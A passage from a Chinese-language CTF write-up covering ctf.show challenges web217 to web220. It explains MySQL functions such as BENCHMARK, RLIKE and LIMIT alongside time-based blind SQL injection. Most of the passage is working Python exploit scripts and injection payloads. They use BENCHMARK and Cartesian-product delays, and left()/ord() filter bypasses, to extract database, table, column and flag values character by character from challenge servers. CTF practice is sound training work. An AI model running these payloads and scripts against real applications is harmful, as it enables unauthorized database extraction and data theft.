) brute_force3(url)
web217(过滤sleep函数) 补充:benchmark()函数 作用 用于MySQL 数据库,用于测试表达式的执行速度。它重复执行一个表达式指定的次数,并返回执行结果。
语法
count
: 表示要执行表达式的次数。
expr
: 要执行的表达式。
示例
测试简单表达式 :
SELECT BENCHMARK(1000000 , 'a' + 'b' );
这条语句会将 'a' + 'b'
执行 1,000,000 次。由于这是个无效的字符串操作,实际上没有什么实际意义,但可以用来测试性能。
测试复杂表达式 :
SELECT BENCHMARK(1000000 , MD5('test' ));
这条语句会将 MD5(‘test’)执行 1,000,000 次,用于测试哈希函数的性能。
结合其他 SQL 查询 :
SELECT BENCHMARK(1000000 , CONCAT('Hello' , 'World' ));
这条语句会将 CONCAT('Hello', 'World')
执行 1,000,000 次,用于测试字符串连接操作的性能。
注入过程 进行测试
debug= 1 & ip= if(ascii(substr(database(),1 ,1 ))= 99 ,benchmark(2000000 ,MD5('test' )),benchmark(5000000 ,MD5('test' )))
测试成功,大概100000次就是0.1秒,因此改脚本进行时间盲注(由于benchmark函数第一个数字太大时容易把环境跑崩,所以适当减少秒数)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',benchmark(2500000,MD5('test')),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=2 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://7c47fda9-eda4-43ed-a634-a6533c2ea0b9.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web218(+benchmark) 补充:笛卡儿积 概念 在数学和数据库领域,笛卡尔积是指两个集合A和B的所有可能组合形成的集合。例如,如果A = {1, 2} 和 B = {a, b},那么A和B的笛卡尔积是 {(1,a), (1,b), (2,a), (2,b)}。在SQL查询中,如果没有指定连接条件,两个表进行连接时会生成笛卡尔积,即每个表中的每一行都与另一个表中的每一行配对。
用法 (select count (* ) from information_schema.columns A, information_schema.columns B) #将两个information_schema.columns互相连接,注意这两个表列数要相同,如果是tables和columns连接就可能失效
注入过程 该题通过笛卡儿积进行盲注,构造payload测试(不需要再添加一个information_schema.columns C,容易转崩,亲测有效)
debug= 1 & ip= if(ascii(substr(database(),1 ,1 ))= 99 ,(select count (* ) from information_schema.columns A, information_schema.columns B),0 )
PS:现在才发现这题和上题都有括号,但是和web216不同的是这两个题就相当于子查询语句了,所以不用闭合也能得出结果
通过测试发现不同结果的时间不同,则使用脚本进行时间盲注
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',(select count(*) from information_schema.columns A, information_schema.columns B),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=1.5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://b817b2f0-0ddc-4315-9ea8-a08833bc417a.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web219(+rlike) 补充:rlike函数 作用 rlike是一个用于模式匹配的函数,通常在 MySQL 数据库中使用。它与 LIKE
类似,但提供了更强大的正则表达式支持,允许你进行更复杂的模式匹配。rlike用于检查一个字符串是否与给定的正则表达式模式匹配。如果匹配成功,则返回 1
(真),否则返回 0
(假)。它可以用于 WHERE
子句中来筛选符合条件的行。
语法
expression
:要进行匹配的字符串或列。
pattern
:正则表达式的模式。
示例
基本模式匹配 :
SELECT * FROM table_name WHERE column_name RLIKE 'pattern' ;
匹配以特定字符开头的字符串 :
SELECT * FROM table_name WHERE column_name RLIKE '^abc' ;
这将返回所有以 “abc” 开头的记录。
匹配包含特定字符的字符串 :
SELECT * FROM table_name WHERE column_name RLIKE 'xyz' ;
这将返回所有包含 “xyz” 的记录。
匹配以特定字符结尾的字符串 :
SELECT * FROM table_name WHERE column_name RLIKE 'xyz$' ;
这将返回所有以 “xyz” 结尾的记录。
匹配多个条件 :
SELECT * FROM table_name WHERE column_name RLIKE 'abc|def' ;
这将返回所有包含 “abc” 或 “def” 的记录。
匹配数字 :
SELECT * FROM table_name WHERE column_name RLIKE '[0-9]' ;
这将返回所有包含数字的记录。
忽略大小写 : 正则表达式本身不区分大小写,但如果需要确保忽略大小写,可以在模式中使用 (?i)
标志:
SELECT * FROM table_name WHERE column_name RLIKE '(?i)pattern' ;
注入过程 禁用了rlike()函数,但是经过测试上题的笛卡儿积方法也能用,沿用上题脚本(上题估计可以通过rlike正则匹配数据来造成时间差异)
import requestsimport timeimport string def brute_force (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr(database(),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='{database} '),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat(column_name) from information_schema.columns where table_name='{table} ' ),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(substr((select group_concat({column} ) from {table} ),{i} ,1)='{char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://04eddeb2-c30c-43b7-9e76-0fc69d9982b8.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
web220(+substr+ascii+concat) 补充:limit()函数 作用 用于限制查询结果返回的行数。
语法 SELECT column1, column2, ...FROM table_nameLIMIT offset , count;
offset
: 起始位置(可选),从0开始计数。
count
: 返回的最大行数。
示例 SELECT * FROM employees LIMIT 5 ;SELECT * FROM employees LIMIT 5 OFFSET 5 ;SELECT * FROM employees LIMIT 5 , 5 ;
注入过程 把substr(),ascii()和group_concat()都过滤了,可参考布尔盲注的web191,web193,使用left(),ord()和limit()绕过,构造payload如下
debug= 1 & ip= if(ord(left (database(),1 )= 99 ),(select count (* ) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0 )
测试成功(图一)(现在才发现我为啥一直用的ascii()测试,明明可以直接测试是否为c的,如图二),更改脚本盲注
import requestsimport timeimport string def brute_force (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left(database(),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def brute_force1 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select table_name from information_schema.tables where table_schema='{database} ' limit 0,1),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def brute_force2 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select column_name from information_schema.columns where table_name='{table} ' limit 1,1),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def brute_force3 (url ): find = '' str ='' for i in range (1 ,100 ): found_char = False for char in string.ascii_letters + string.digits +'_' +'{' +'}' +',' +'-' : payload = f"if(left((select {column} from {table} ),{i} )='{str +char} ',(select count(*) from information_schema.statistics A, information_schema.statistics B,information_schema.statistics C,information_schema.statistics D),0)" start_time = time.time() response = requests.post(url, data={'ip' : payload, 'debug' : '1' }) elapsed_time = time.time() - start_time if elapsed_time >=5 : find += char str += char print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ == "__main__" : url = 'http://52d2b635-887b-41db-9096-bee49f658ddf.challenge.ctf.show/api/index.php' database=brute_force(url) brute_force1(url) table=input ("请输入表名:" ) brute_force2(url) column=input ("请输入列名:" ) brute_force3(url)
到这里时间盲注就告一段落了,下面就是其他注入了
其他注入 web221(limit注入)